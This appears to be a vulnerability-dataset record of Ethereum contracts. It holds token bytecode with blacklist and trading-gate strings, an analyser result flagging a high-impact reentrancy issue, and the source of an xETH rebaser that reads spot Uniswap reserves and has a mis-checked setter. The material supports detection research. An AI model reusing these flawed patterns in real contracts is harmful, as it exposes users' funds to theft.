ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516119e2919061384a565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611a5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a56906137ea565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611acf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ac69061366a565b60405180910390fd5b60008111611b12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b09906137ca565b60405180910390fd5b611b1a61104f565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611b885750611b5861104f565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611bde5750601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611c345750601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561203657601660149054906101000a900460ff16611cda57601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611cd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cd09061368a565b60405180910390fd5b5b601754811115611d1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d16906136ca565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611dc35750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611e02576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611df99061372a565b60405180910390fd5b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611eaf5760185481611e6484610e06565b611e6e9190613980565b10611eae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ea59061380a565b60405180910390fd5b5b6000611eba30610e06565b9050600060195482101590506017548210611ed55760175491505b808015611eef5750601660159054906101000a900460ff16155b8015611f495750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611f5f575060168054906101000a900460ff165b8015611fb55750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561200b5750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156120335761201982612504565b60004790506000811115612031576120304761239b565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806120dd5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806121905750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561218f5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561219e5760009050612325565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156122495750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561226157600854600c81905550600954600d819055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561230c5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561232457600a54600c81905550600b54600d819055505b5b6123318484848461278c565b50505050565b600083831115829061237f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123769190613648565b60405180910390fd5b506000838561238e9190613a61565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6123eb6002846127b990919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612416573d6000803e3d6000fd5b50601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6124676002846127b990919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612492573d6000803e3d6000fd5b5050565b60006006548211156124dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124d4906136aa565b60405180910390fd5b60006124e7612803565b90506124fc81846127b990919063ffffffff16565b915050919050565b6001601660156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561253c5761253b613c6c565b5b60405190808252806020026020018201604052801561256a5781602001602082028036833780820191505090505b509050308160008151811061258257612581613c3d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561262457600080fd5b505afa158015612638573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061265c9190613028565b816001815181106126705761266f613c3d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506126d730601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611824565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161273b959493929190613865565b600060405180830381600087803b15801561275557600080fd5b505af1158015612769573d6000803e3d6000fd5b50505050506000601660156101000a81548160ff02191690831515021790555050565b8061279a5761279961282e565b5b6127a5848484612871565b806127b3576127b2612a3c565b5b50505050565b60006127fb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612a50565b905092915050565b6000806000612810612ab3565b9150915061282781836127b990919063ffffffff16565b9250505090565b6000600c5414801561284257506000600d54145b1561284c5761286f565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b60008060008060008061288387612b12565b9550955095509550955095506128e186600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b7a90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061297685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612bc490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506129c281612c22565b6129cc8483612cdf565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612a29919061384a565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b60008083118290612a97576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a8e9190613648565b60405180910390fd5b5060008385612aa691906139d6565b9050809150509392505050565b600080600060065490506000670de0b6b3a76400009050612ae7670de0b6b3a76400006006546127b990919063ffffffff16565b821015612b0557600654670de0b6b3a7640000935093505050612b0e565b81819350935050505b9091565b6000806000806000806000806000612b2f8a600c54600d54612d19565b9250925092506000612b3f612803565b90506000806000612b528e878787612daf565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612bbc83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612337565b905092915050565b6000808284612bd39190613980565b905083811015612c18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c0f9061374a565b60405180910390fd5b8091505092915050565b6000612c2c612803565b90506000612c438284612e3890919063ffffffff16565b9050612c9781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612bc490919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612cf482600654612b7a90919063ffffffff16565b600681905550612d0f81600754612bc490919063ffffffff16565b6007819055505050565b600080600080612d456064612d37888a612e3890919063ffffffff16565b6127b990919063ffffffff16565b90506000612d6f6064612d61888b612e3890919063ffffffff16565b6127b990919063ffffffff16565b90506000612d9882612d8a858c612b7a90919063ffffffff16565b612b7a90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612dc88589612e3890919063ffffffff16565b90506000612ddf8689612e3890919063ffffffff16565b90506000612df68789612e3890919063ffffffff16565b90506000612e1f82612e118587612b7a90919063ffffffff16565b612b7a90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612e4b5760009050612ead565b60008284612e599190613a07565b9050828482612e6891906139d6565b14612ea8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e9f9061378a565b60405180910390fd5b809150505b92915050565b6000612ec6612ec1846138ff565b6138da565b90508083825260208201905082856020860282011115612ee957612ee8613ca5565b5b60005b85811015612f195781612eff8882612f23565b845260208401935060208301925050600181019050612eec565b5050509392505050565b600081359050612f32816140ce565b92915050565b600081519050612f47816140ce565b92915050565b60008083601f840112612f6357612f62613ca0565b5b8235905067ffffffffffffffff811115612f8057612f7f613c9b565b5b602083019150836020820283011115612f9c57612f9b613ca5565b5b9250929050565b600082601f830112612fb857612fb7613ca0565b5b8135612fc8848260208601612eb3565b91505092915050565b600081359050612fe0816140e5565b92915050565b600081359050612ff5816140fc565b92915050565b60006020828403121561301157613010613caf565b5b600061301f84828501612f23565b91505092915050565b60006020828403121561303e5761303d613caf565b5b600061304c84828501612f38565b91505092915050565b6000806040838503121561306c5761306b613caf565b5b600061307a85828601612f23565b925050602061308b85828601612f23565b9150509250929050565b6000806000606084860312156130ae576130ad613caf565b5b60006130bc86828701612f23565b93505060206130cd86828701612f23565b92505060406130de86828701612fe6565b9150509250925092565b600080604083850312156130ff576130fe613caf565b5b600061310d85828601612f23565b925050602061311e85828601612fd1565b9150509250929050565b6000806040838503121561313f5761313e613caf565b5b600061314d85828601612f23565b925050602061315e85828601612fe6565b9150509250929050565b60008060006040848603121561318157613180613caf565b5b600084013567ffffffffffffffff81111561319f5761319e613caa565b5b6131ab86828701612f4d565b935093505060206131be86828701612fd1565b9150509250925092565b6000602082840312156131de576131dd613caf565b5b600082013567ffffffffffffffff8111156131fc576131fb613caa565b5b61320884828501612fa3565b91505092915050565b60006020828403121561322757613226613caf565b5b600061323584828501612fd1565b91505092915050565b60006020828403121561325457613253613caf565b5b600061326284828501612fe6565b91505092915050565b6000806000806080858703121561328557613284613caf565b5b600061329387828801612fe6565b94505060206132a487828801612fe6565b93505060406132b587828801612fe6565b92505060606132c687828801612fe6565b91505092959194509250565b60006132de83836132ea565b60208301905092915050565b6132f381613a95565b82525050565b61330281613a95565b82525050565b60006133138261393b565b61331d818561395e565b93506133288361392b565b8060005b8381101561335957815161334088826132d2565b975061334b83613951565b92505060018101905061332c565b5085935050505092915050565b61336f81613aa7565b82525050565b61337e81613aea565b82525050565b61338d81613afc565b82525050565b600061339e82613946565b6133a8818561396f565b93506133b8818560208601613b32565b6133c181613cb4565b840191505092915050565b60006133d960238361396f565b91506133e482613cc5565b604082019050919050565b60006133fc603f8361396f565b915061340782613d14565b604082019050919050565b600061341f602a8361396f565b915061342a82613d63565b604082019050919050565b6000613442601c8361396f565b915061344d82613db2565b602082019050919050565b600061346560268361396f565b915061347082613ddb565b604082019050919050565b600061348860228361396f565b915061349382613e2a565b604082019050919050565b60006134ab60238361396f565b91506134b682613e79565b604082019050919050565b60006134ce601b8361396f565b91506134d982613ec8565b602082019050919050565b60006134f160178361396f565b91506134fc82613ef1565b602082019050919050565b600061351460218361396f565b915061351f82613f1a565b604082019050919050565b600061353760208361396f565b915061354282613f69565b602082019050919050565b600061355a60298361396f565b915061356582613f92565b604082019050919050565b600061357d60258361396f565b915061358882613fe1565b604082019050919050565b60006135a060238361396f565b91506135ab82614030565b604082019050919050565b60006135c360248361396f565b91506135ce8261407f565b604082019050919050565b6135e281613ad3565b82525050565b6135f181613add565b82525050565b600060208201905061360c60008301846132f9565b92915050565b60006020820190506136276000830184613366565b92915050565b60006020820190506136426000830184613375565b92915050565b600060208201905081810360008301526136628184613393565b905092915050565b60006020820190508181036000830152613683816133cc565b9050919050565b600060208201905081810360008301526136a3816133ef565b9050919050565b600060208201905081810360008301526136c381613412565b9050919050565b600060208201905081810360008301526136e381613435565b9050919050565b6000602082019050818103600083015261370381613458565b9050919050565b600060208201905081810360008301526137238161347b565b9050919050565b600060208201905081810360008301526137438161349e565b9050919050565b60006020820190508181036000830152613763816134c1565b9050919050565b60006020820190508181036000830152613783816134e4565b9050919050565b600060208201905081810360008301526137a381613507565b9050919050565b600060208201905081810360008301526137c38161352a565b9050919050565b600060208201905081810360008301526137e38161354d565b9050919050565b6000602082019050818103600083015261380381613570565b9050919050565b6000602082019050818103600083015261382381613593565b9050919050565b60006020820190508181036000830152613843816135b6565b9050919050565b600060208201905061385f60008301846135d9565b92915050565b600060a08201905061387a60008301886135d9565b6138876020830187613384565b81810360408301526138998186613308565b90506138a860608301856132f9565b6138b560808301846135d9565b9695505050505050565b60006020820190506138d460008301846135e8565b92915050565b60006138e46138f5565b90506138f08282613b65565b919050565b6000604051905090565b600067ffffffffffffffff82111561391a57613919613c6c565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061398b82613ad3565b915061399683613ad3565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156139cb576139ca613bdf565b5b828201905092915050565b60006139e182613ad3565b91506139ec83613ad3565b9250826139fc576139fb613c0e565b5b828204905092915050565b6000613a1282613ad3565b9150613a1d83613ad3565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613a5657613a55613bdf565b5b828202905092915050565b6000613a6c82613ad3565b9150613a7783613ad3565b925082821015613a8a57613a89613bdf565b5b828203905092915050565b6000613aa082613ab3565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613af582613b0e565b9050919050565b6000613b0782613ad3565b9050919050565b6000613b1982613b20565b9050919050565b6000613b2b82613ab3565b9050919050565b60005b83811015613b50578082015181840152602081019050613b35565b83811115613b5f576000848401525b50505050565b613b6e82613cb4565b810181811067ffffffffffffffff82111715613b8d57613b8c613c6c565b5b80604052505050565b6000613ba182613ad3565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613bd457613bd3613bdf565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f544f4b454e3a20416c726561647920656e61626c65642e000000000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6140d781613a95565b81146140e257600080fd5b50565b6140ee81613aa7565b81146140f957600080fd5b50565b61410581613ad3565b811461411057600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ce6fa28aa72f21475e5453ff4f33c4ad8cb3c4b9292f6252be1f25557c2fc18064736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
4,843
0x465b5e69a6912e9956b5f47a98f67962b22a4c23
/** *Submitted for verification at Etherscan.io on 2020-09-26 */ pragma solidity 0.6.6; interface UniswapPairContract { function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); } interface xETHTokenInterface { //Public functions function maxScalingFactor() external view returns (uint256); function xETHScalingFactor() external view returns (uint256); //rebase permissioned function setTxFee(uint16 fee) external ; function setSellFee(uint16 fee) external ; function rebase(uint256 epoch, uint256 indexDelta, bool positive) external returns (uint256); } contract xETHRebaser { using SafeMath for uint256; modifier onlyGov() { require(msg.sender == gov); _; } /// @notice an event emitted when deviationThreshold is changed event NewDeviationThreshold(uint256 oldDeviationThreshold, uint256 newDeviationThreshold); /// @notice Governance address address public gov; /// @notice Spreads out getting to the target price uint256 public rebaseLag; /// @notice Peg target uint256 public targetRate; // If the current exchange rate is within this fractional distance from the target, no supply // update is performed. Fixed point number--same format as the rate. // (ie) abs(rate - targetRate) / targetRate < deviationThreshold, then no supply change. uint256 public deviationThreshold; /// @notice More than this much time must pass between rebase operations. uint256 public minRebaseTimeIntervalSec; /// @notice Block timestamp of last rebase operation uint256 public lastRebaseTimestampSec; /// @notice The rebase window begins this many seconds into the minRebaseTimeInterval period. // For example if minRebaseTimeInterval is 24hrs, it represents the time of day in seconds. uint256 public rebaseWindowOffsetSec; /// @notice The length of the time window where a rebase operation is allowed to execute, in seconds. uint256 public rebaseWindowLengthSec; /// @notice The number of rebase cycles since inception uint256 public epoch; // rebasing is not active initially. It can be activated at T+12 hours from // deployment time ///@notice boolean showing rebase activation status bool public rebasingActive; /// @notice delays rebasing activation to facilitate liquidity uint256 public constant rebaseDelay = 0; address public xETHAddress; address public uniswap_xeth_eth_pair; constructor( address xETHAddress_, address xEthEthPair_ ) public { minRebaseTimeIntervalSec = 1 days; rebaseWindowOffsetSec = 0; // 00:00 UTC rebases // 0.01 ETH targetRate = 10**16; // daily rebase, with targeting reaching peg in 5 days rebaseLag = 5; // 5% deviationThreshold = 5 * 10**15; // 3 hours rebaseWindowLengthSec = 3 hours; uniswap_xeth_eth_pair = xEthEthPair_; xETHAddress = xETHAddress_; gov = msg.sender; } /** @notice Activates rebasing * @dev One way function, cannot be undone, callable by anyone */ function activate_rebasing() public onlyGov { rebasingActive = true; } /** * @notice Initiates a new rebase operation, provided the minimum time period has elapsed. * * @dev The supply adjustment equals (_totalSupply * DeviationFromTargetRate) / rebaseLag * Where DeviationFromTargetRate is (MarketOracleRate - targetRate) / targetRate * and targetRate is 1e18 */ function rebase() public { // EOA only require(msg.sender == tx.origin); // ensure rebasing at correct time _inRebaseWindow(); require(lastRebaseTimestampSec.add(minRebaseTimeIntervalSec) < now); // Snap the rebase time to the start of this window. lastRebaseTimestampSec = now.sub( now.mod(minRebaseTimeIntervalSec)).add(rebaseWindowOffsetSec); epoch = epoch.add(1); // get price from uniswap v2; uint256 exchangeRate = getPrice(); // calculates % change to supply (uint256 offPegPerc, bool positive) = computeOffPegPerc(exchangeRate); uint256 indexDelta = offPegPerc; // Apply the Dampening factor. indexDelta = indexDelta.div(rebaseLag); xETHTokenInterface xETH = xETHTokenInterface(xETHAddress); if (positive) { require(xETH.xETHScalingFactor().mul(uint256(10**18).add(indexDelta)).div(10**18) < xETH.maxScalingFactor(), "new scaling factor will be too big"); } // rebase xETH.rebase(epoch, indexDelta, positive); assert(xETH.xETHScalingFactor() <= xETH.maxScalingFactor()); } function getPrice() public view returns (uint256) { (uint xethReserve, uint ethReserve, ) = UniswapPairContract(uniswap_xeth_eth_pair).getReserves(); uint xEthPrice = ethReserve.mul(10**18).div(xethReserve); return xEthPrice; } function setDeviationThreshold(uint256 deviationThreshold_) external onlyGov { require(deviationThreshold > 0); uint256 oldDeviationThreshold = deviationThreshold; deviationThreshold = deviationThreshold_; emit NewDeviationThreshold(oldDeviationThreshold, deviationThreshold_); } /** * @notice Sets the rebase lag parameter. It is used to dampen the applied supply adjustment by 1 / rebaseLag If the rebase lag R, equals 1, the smallest value for R, then the full supply correction is applied on each rebase cycle. If it is greater than 1, then a correction of 1/R of is applied on each rebase. * @param rebaseLag_ The new rebase lag parameter. */ function setRebaseLag(uint256 rebaseLag_) external onlyGov { require(rebaseLag_ > 0); rebaseLag = rebaseLag_; } /** * @notice Sets the targetRate parameter. * @param targetRate_ The new target rate parameter. */ function setTargetRate(uint256 targetRate_) external onlyGov { require(targetRate_ > 0); targetRate = targetRate_; } /** * @notice Sets the parameters which control the timing and frequency of * rebase operations. * a) the minimum time period that must elapse between rebase cycles. * b) the rebase window offset parameter. * c) the rebase window length parameter. * @param minRebaseTimeIntervalSec_ More than this much time must pass between rebase * operations, in seconds. * @param rebaseWindowOffsetSec_ The number of seconds from the beginning of the rebase interval, where the rebase window begins. * @param rebaseWindowLengthSec_ The length of the rebase window in seconds. */ function setRebaseTimingParameters( uint256 minRebaseTimeIntervalSec_, uint256 rebaseWindowOffsetSec_, uint256 rebaseWindowLengthSec_) external onlyGov { require(minRebaseTimeIntervalSec_ > 0); require(rebaseWindowOffsetSec_ < minRebaseTimeIntervalSec_); minRebaseTimeIntervalSec = minRebaseTimeIntervalSec_; rebaseWindowOffsetSec = rebaseWindowOffsetSec_; rebaseWindowLengthSec = rebaseWindowLengthSec_; } /** * @return If the latest block timestamp is within the rebase time window it, returns true. * Otherwise, returns false. */ function inRebaseWindow() public view returns (bool) { // rebasing is delayed until there is a liquid market _inRebaseWindow(); return true; } function _inRebaseWindow() internal view { require(rebasingActive, "rebasing not active"); require(now.mod(minRebaseTimeIntervalSec) >= rebaseWindowOffsetSec, "too early"); require(now.mod(minRebaseTimeIntervalSec) < (rebaseWindowOffsetSec.add(rebaseWindowLengthSec)), "too late"); } /** * @return Computes in % how far off market is from peg */ function computeOffPegPerc(uint256 rate) private view returns (uint256, bool) { if (withinDeviationThreshold(rate)) { return (0, false); } // indexDelta = (rate - targetRate) / targetRate if (rate > targetRate) { return (rate.sub(targetRate).mul(10**18).div(targetRate), true); } else { return (targetRate.sub(rate).mul(10**18).div(targetRate), false); } } /** * @param rate The current exchange rate, an 18 decimal fixed point number. * @return If the rate is within the deviation threshold from the target rate, returns true. * Otherwise, returns false. */ function withinDeviationThreshold(uint256 rate) private view returns (bool) { uint256 absoluteDeviationThreshold = targetRate.mul(deviationThreshold) .div(10 ** 18); return (rate >= targetRate && rate.sub(targetRate) < absoluteDeviationThreshold) || (rate < targetRate && targetRate.sub(rate) < absoluteDeviationThreshold); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); // Solidity only automatically asserts when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function ceil(uint256 a, uint256 m) internal pure returns (uint256) { uint256 c = add(a,m); uint256 d = sub(c,1); return mul(div(d,m),m); } /** * @dev Divides two numbers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } function divRound(uint256 x, uint256 y) internal pure returns (uint256) { require(y != 0, "Div by zero"); uint256 r = x / y; if (x % y != 0) { r = r + 1; } return r; } }
0x608060405234801561001057600080fd5b50600436106101375760003560e01c80636406ca5f116100b857806398d5fdca1161007c57806398d5fdca1461038e578063af14052c146103ac578063b181033a146103b6578063cc8fd39314610400578063cdabdaac1461041e578063d94ad8371461044c57610137565b80636406ca5f146102cc5780637052b902146102ea5780638835a65814610308578063900cf0cf146103525780639466120f1461037057610137565b80633a93069b116100ff5780633a93069b146102365780634dc95de1146102545780634e66f8ae1461027657806353a15edc1461028057806363f6d4c8146102ae57610137565b8063021018991461013c578063111d04981461015a57806312d43a511461017c57806316250fd4146101c657806320ce838914610208575b600080fd5b61014461046a565b6040518082815260200191505060405180910390f35b610162610470565b604051808215151515815260200191505060405180910390f35b610184610481565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610206600480360360608110156101dc57600080fd5b810190808035906020019092919080359060200190929190803590602001909291905050506104a6565b005b6102346004803603602081101561021e57600080fd5b8101908080359060200190929190505050610532565b005b61023e6105a2565b6040518082815260200191505060405180910390f35b61025c6105a8565b604051808215151515815260200191505060405180910390f35b61027e6105bb565b005b6102ac6004803603602081101561029657600080fd5b8101908080359060200190929190505050610631565b005b6102b66106ea565b6040518082815260200191505060405180910390f35b6102d46106f0565b6040518082815260200191505060405180910390f35b6102f26106f5565b6040518082815260200191505060405180910390f35b6103106106fb565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61035a610721565b6040518082815260200191505060405180910390f35b610378610727565b6040518082815260200191505060405180910390f35b61039661072d565b6040518082815260200191505060405180910390f35b6103b4610848565b005b6103be610cc1565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610408610ce7565b6040518082815260200191505060405180910390f35b61044a6004803603602081101561043457600080fd5b8101908080359060200190929190505050610ced565b005b610454610d5d565b6040518082815260200191505060405180910390f35b60045481565b600061047a610d63565b6001905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146104ff57600080fd5b6000831161050c57600080fd5b82821061051857600080fd5b826004819055508160068190555080600781905550505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461058b57600080fd5b6000811161059857600080fd5b8060018190555050565b60055481565b600960009054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461061457600080fd5b6001600960006101000a81548160ff021916908315150217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461068a57600080fd5b60006003541161069957600080fd5b60006003549050816003819055507f2a5cda4d16fba415b52d90b59ee30d4cb16494da9fd1ee51c4d5bac4a1f75bbe8183604051808381526020018281526020019250505060405180910390a15050565b60015481565b600081565b60065481565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60085481565b60075481565b6000806000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b15801561079a57600080fd5b505afa1580156107ae573d6000803e3d6000fd5b505050506040513d60608110156107c457600080fd5b81019080805190602001909291908051906020019092919080519060200190929190505050506dffffffffffffffffffffffffffff1691506dffffffffffffffffffffffffffff169150600061083d8361082f670de0b6b3a764000085610f1290919063ffffffff16565b610f4c90919063ffffffff16565b905080935050505090565b3273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461088057600080fd5b610888610d63565b426108a0600454600554610f7290919063ffffffff16565b106108aa57600080fd5b6108e56006546108d76108c860045442610f9190919063ffffffff16565b42610fb290919063ffffffff16565b610f7290919063ffffffff16565b6005819055506109016001600854610f7290919063ffffffff16565b600881905550600061091161072d565b905060008061091f83610fd2565b9150915060008